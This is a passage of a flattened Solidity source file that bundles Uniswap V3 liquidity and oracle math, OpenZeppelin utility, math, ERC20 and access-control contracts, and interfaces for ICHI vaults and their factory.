FullMath.mulDiv(sqrtRatioX96, sqrtRatioX96, 1 << 64); quoteAmount = baseToken < quoteToken ? FullMath.mulDiv(ratioX128, baseAmount, 1 << 128) : FullMath.mulDiv(1 << 128, baseAmount, ratioX128); } } } ////// SPDX-License-Identifier-FLATTEN-SUPPRESS-WARNING: GPL-2.0-or-later pragma solidity >=0.5.0; ////import '@uniswap/v3-core/contracts/libraries/FullMath.sol'; ////import '@uniswap/v3-core/contracts/libraries/FixedPoint96.sol'; /// @title Liquidity amount functions /// @notice Provides functions for computing liquidity amounts from token amounts and prices library LiquidityAmounts { /// @notice Downcasts uint256 to uint128 /// @param x The uint258 to be downcasted /// @return y The passed value, downcasted to uint128 function toUint128(uint256 x) private pure returns (uint128 y) { require((y = uint128(x)) == x); } /// @notice Computes the amount of liquidity received for a given amount of token0 and price range /// @dev Calculates amount0 * (sqrt(upper) * sqrt(lower)) / (sqrt(upper) - sqrt(lower)) /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount0 The amount0 being sent in /// @return liquidity The amount of returned liquidity function getLiquidityForAmount0( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount0 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); uint256 intermediate = FullMath.mulDiv(sqrtRatioAX96, sqrtRatioBX96, FixedPoint96.Q96); return toUint128(FullMath.mulDiv(amount0, intermediate, sqrtRatioBX96 - sqrtRatioAX96)); } /// @notice Computes the amount of liquidity received for a given amount of token1 and price range /// @dev Calculates amount1 / (sqrt(upper) - sqrt(lower)). /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount1 The amount1 being sent in /// @return liquidity The amount of returned liquidity function getLiquidityForAmount1( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount1 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return toUint128(FullMath.mulDiv(amount1, FixedPoint96.Q96, sqrtRatioBX96 - sqrtRatioAX96)); } /// @notice Computes the maximum amount of liquidity received for a given amount of token0, token1, the current /// pool prices and the prices at the tick boundaries /// @param sqrtRatioX96 A sqrt price representing the current pool prices /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount0 The amount of token0 being sent in /// @param amount1 The amount of token1 being sent in /// @return liquidity The maximum amount of liquidity received function getLiquidityForAmounts( uint160 sqrtRatioX96, uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount0, uint256 amount1 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); if (sqrtRatioX96 <= sqrtRatioAX96) { liquidity = getLiquidityForAmount0(sqrtRatioAX96, sqrtRatioBX96, amount0); } else if (sqrtRatioX96 < sqrtRatioBX96) { uint128 liquidity0 = getLiquidityForAmount0(sqrtRatioX96, sqrtRatioBX96, amount0); uint128 liquidity1 = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioX96, amount1); liquidity = liquidity0 < liquidity1 ? liquidity0 : liquidity1; } else { liquidity = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioBX96, amount1); } } /// @notice Computes the amount of token0 for a given amount of liquidity and a price range /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount0 The amount of token0 function getAmount0ForLiquidity( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount0) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return FullMath.mulDiv( uint256(liquidity) << FixedPoint96.RESOLUTION, sqrtRatioBX96 - sqrtRatioAX96, sqrtRatioBX96 ) / sqrtRatioAX96; } /// @notice Computes the amount of token1 for a given amount of liquidity and a price range /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount1 The amount of token1 function getAmount1ForLiquidity( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount1) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96); } /// @notice Computes the token0 and token1 value for a given amount of liquidity, the current /// pool prices and the prices at the tick boundaries /// @param sqrtRatioX96 A sqrt price representing the current pool prices /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount0 The amount of token0 /// @return amount1 The amount of token1 function getAmountsForLiquidity( uint160 sqrtRatioX96, uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount0, uint256 amount1) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); if (sqrtRatioX96 <= sqrtRatioAX96) { amount0 = getAmount0ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity); } else if (sqrtRatioX96 < sqrtRatioBX96) { amount0 = getAmount0ForLiquidity(sqrtRatioX96, sqrtRatioBX96, liquidity); amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioX96, liquidity); } else { amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity); } } } ////// SPDX-License-Identifier-FLATTEN-SUPPRESS-WARNING: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } ////// SPDX-License-Identifier-FLATTEN-SUPPRESS-WARNING: MIT pragma solidity ^0.7.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [////IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * ////IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } ////// SPDX-License-Identifier-FLATTEN-SUPPRESS-WARNING: MIT pragma solidity ^0.7.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } ////// SPDX-License-Identifier-FLATTEN-SUPPRESS-WARNING: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * ////IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } ////// SPDX-License-Identifier-FLATTEN-SUPPRESS-WARNING: BUSL-1.1 pragma solidity 0.7.6; interface IICHIVaultFactory { event FeeRecipient( address indexed sender, address feeRecipient); event BaseFee( address indexed sender, uint256 baseFee); event BaseFeeSplit( address indexed sender, uint256 baseFeeSplit); event DeployICHIVaultFactory( address indexed sender, address uniswapV3Factory); event ICHIVaultCreated( address indexed sender, address ichiVault, address tokenA, bool allowTokenA, address tokenB, bool allowTokenB, uint24 fee, uint256 count); function uniswapV3Factory() external view returns(address); function feeRecipient() external view returns(address); function baseFee() external view returns(uint256); function baseFeeSplit() external view returns(uint256); function setFeeRecipient(address _feeRecipient) external; function setBaseFee(uint256 _baseFee) external; function setBaseFeeSplit(uint256 _baseFeeSplit) external; function createICHIVault( address tokenA, bool allowTokenA, address tokenB, bool allowTokenB, uint24 fee ) external returns (address ichiVault); function genKey( address deployer, address token0, address token1, uint24 fee, bool allowToken0, bool allowToken1) external pure returns(bytes32 key); } ////// SPDX-License-Identifier-FLATTEN-SUPPRESS-WARNING: Unlicense pragma solidity 0.7.6; interface IICHIVault{ function ichiVaultFactory() external view returns(address); function pool() external view returns(address); function token0() external view returns(address); function allowToken0() external view returns(bool); function token1() external view returns(address); function allowToken1() external view returns(bool); function fee() external view returns(uint24); function tickSpacing() external view returns(int24); function affiliate() external view returns(address); function baseLower() external view returns(int24); function baseUpper() external view returns(int24); function limitLower() external view returns(int24); function limitUpper() external view returns(int24); function deposit0Max() external view returns(uint256); function deposit1Max() external view returns(uint256); function maxTotalSupply() external view returns(uint256); function hysteresis() external view returns(uint256); function getTotalAmounts() external view returns (uint256, uint256); function deposit( uint256, uint256, address ) external returns (uint256); function withdraw( uint256, address ) external returns (uint256, uint256); function rebalance( int24 _baseLower, int24 _baseUpper, int24 _limitLower, int24 _limitUpper, int256 swapQuantity ) external; function setDepositMax( uint256 _deposit0Max, uint256 _deposit1Max) external; function setAffiliate( address _affiliate) external; event DeployICHIVault( address indexed sender, address indexed pool, bool allowToken0, bool allowToken1, address owner, uint256 twapPeriod); event SetTwapPeriod( address sender, uint32 newTwapPeriod ); event Deposit( address indexed sender, address indexed to, uint256 shares, uint256 amount0, uint256 amount1 ); event Withdraw( address indexed sender, address indexed to, uint256 shares, uint256 amount0, uint256 amount1 ); event Rebalance( int24 tick, uint256 totalAmount0, uint256 totalAmount1, uint256 feeAmount0, uint256 feeAmount1, uint256 totalSupply ); event MaxTotalSupply( address indexed sender, uint256 maxTotalSupply); event Hysteresis( address indexed sender, uint256 hysteresis); event DepositMax( address indexed sender, uint256 deposit0Max, uint256 deposit1Max); event Affiliate( address indexed sender, address affiliate); } ////// SPDX-License-Identifier-FLATTEN-SUPPRESS-WARNING: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Callback for IUniswapV3PoolActions#swap /// @notice Any contract that calls IUniswapV3PoolActions#swap must implement this interface interface IUniswapV3SwapCallback { /// @notice Called to `msg.sender` after executing a swap via IUniswapV3Pool#swap. /// @dev In the implementation you must pay the pool tokens owed for the swap. /// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory. /// amount0Delta and amount1Delta can both be 0 if no tokens were swapped. /// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token0 to the pool. /// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token1 to the pool. /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call function uniswapV3SwapCallback( int256 amount0Delta, int256 amount1Delta, bytes calldata data ) external; } ////// SPDX-License-Identifier-FLATTEN-SUPPRESS-WARNING: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Callback for IUniswapV3PoolActions#mint /// @notice Any contract that calls IUniswapV3PoolActions#mint must implement this interface interface IUniswapV3MintCallback { /// @notice Called to `msg.sender` after minting liquidity to a position from IUniswapV3Pool#mint. /// @dev In the implementation you must pay the pool tokens owed for the minted liquidity. /// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory. /// @param amount0Owed The amount of token0 due to the pool for the minted liquidity /// @param amount1Owed The amount of token1 due to the pool for the minted liquidity /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#mint call function uniswapV3MintCallback( uint256 amount0Owed, uint256 amount1Owed, bytes calldata data ) external; } ////// SPDX-License-Identifier-FLATTEN-SUPPRESS-WARNING: MIT pragma solidity ^0.7.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } ////// SPDX-License-Identifier-FLATTEN-SUPPRESS-WARNING: BUSL-1.1 pragma solidity 0.7.6; ////import {TickMath} from "@uniswap/v3-core/contracts/libraries/TickMath.sol"; ////import {LiquidityAmounts} from "@uniswap/v3-periphery/contracts/libraries/LiquidityAmounts.sol"; ////import {OracleLibrary} from "@uniswap/v3-periphery/contracts/libraries/OracleLibrary.sol"; library UV3Math { /// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK) uint160 internal constant MIN_SQRT_RATIO = 4295128739; /// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK) uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342; /******************* * Tick Math *******************/ function getSqrtRatioAtTick( int24 currentTick ) public pure returns(uint160 sqrtPriceX96) { sqrtPriceX96 = TickMath.getSqrtRatioAtTick(currentTick); } /******************* * LiquidityAmounts *******************/ function getAmountsForLiquidity( uint160 sqrtRatioX96, uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) public pure returns (uint256 amount0, uint256 amount1) { (amount0, amount1) = LiquidityAmounts.getAmountsForLiquidity( sqrtRatioX96, sqrtRatioAX96, sqrtRatioBX96, liquidity); } function getLiquidityForAmounts( uint160 sqrtRatioX96, uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount0, uint256 amount1 ) public pure returns (uint128 liquidity) { liquidity = LiquidityAmounts.getLiquidityForAmounts( sqrtRatioX96, sqrtRatioAX96, sqrtRatioBX96, amount0, amount1); } /******************* * OracleLibrary *******************/ function consult( address _pool, uint32 _twapPeriod ) public view returns(int24 timeWeightedAverageTick) { timeWeightedAverageTick = OracleLibrary.consult(_pool, _twapPeriod); } function getQuoteAtTick( int24 tick, uint128 baseAmount, address baseToken, address quoteToken ) public pure returns (uint256 quoteAmount) { quoteAmount = OracleLibrary.getQuoteAtTick(tick, baseAmount, baseToken, quoteToken); } /******************* * SafeUnit128 *******************/ /// @notice Cast a uint256 to a uint128, revert on overflow /// @param y The uint256 to be downcasted /// @return z The downcasted integer, now type uint128 function toUint128(uint256 y) public pure returns (uint128 z) { require((z = uint128(y)) == y, "SafeUint128: overflow"); } } ////// SPDX-License-Identifier-FLATTEN-SUPPRESS-WARNING: MIT pragma solidity ^0.7.0; ////import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } ////// SPDX-License-Identifier-FLATTEN-SUPPRESS-WARNING: MIT pragma solidity ^0.7.0; ////import "./IERC20.sol"; ////import "../../math/SafeMath.sol"; ////import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it 